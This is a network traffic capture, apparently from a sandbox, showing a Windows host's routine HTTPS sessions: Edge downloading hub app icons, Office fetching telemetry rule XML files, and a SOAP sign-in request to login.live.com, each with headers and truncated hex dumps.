2024-10-29 01:46:39 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:39 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 5984f239-a01e-0048-0690-285a9a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241029T014639Z-16849878b787bfsh7zgp804my400000004p0000000009yfa Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 01:46:39 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	49875	13.107.246.57	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:39 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 01:46:39 UTC	523	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:39 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: ec2c1967-701e-004a-10a4-295860000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241029T014639Z-r197bdfb6b4g24ztpxkw4umce800000007dg000000009e2q Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-29 01:46:39 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	49867	40.126.32.74	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:39 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-29 01:46:39 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-29 01:46:39 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 29 Oct 2024 01:45:39 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.5 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C525_SN1 x-ms-request-id: ae825a12-409a-47b5-b66c-b03c30d91417 PPServer: PPV: 30 H: SN1PEPF0002F174 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 29 Oct 2024 01:46:39 GMT Connection: close Content-Length: 11392
2024-10-29 01:46:39 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	49878	13.107.246.57	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:39 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 01:46:39 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:39 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 192575bd-001e-0045-303d-29b596000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241029T014639Z-16849878b78qfbkc5yywmsbg0c00000005gg00000000dw86 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:39 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:39 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:39 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:39 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: bb28544f-801e-0047-7562-267265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014639Z-16849878b782d4lwcu6h6gmxnw00000005gg00000000d14d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 01:46:39 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:39 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:39 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:39 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 97ce691d-801e-0047-0a01-277265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014639Z-16849878b78j7llf5vkyvvcehs00000006v000000000quts x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:39 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	49885	13.107.246.57	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:39 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 01:46:39 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:39 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 3b7f99e2-a01e-0061-032b-282cd8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241029T014639Z-16849878b78x6gn56mgecg60qc00000007r0000000005vfx Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:39 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:39 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:39 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:39 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 080ba15e-001e-0082-732b-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014639Z-16849878b78fssff8btnns3b14000000064g00000000bd22 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:39 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:39 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:39 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:39 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: cd4a5759-201e-005d-4b3a-26afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014639Z-r197bdfb6b4b4pw6nr8czsrctg00000006k0000000009gep x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:39 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:39 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:39 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:39 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 41937e91-c01e-008e-5d57-277381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014639Z-16849878b78qg9mlz11wgn0wcc00000005cg00000000fqqt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:39 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	49891	13.107.246.57	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:40 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 01:46:40 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:40 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 155b9113-f01e-0072-1c90-281939000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241029T014640Z-16849878b78g2m84h2v9sta29000000004s000000000dzw1 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
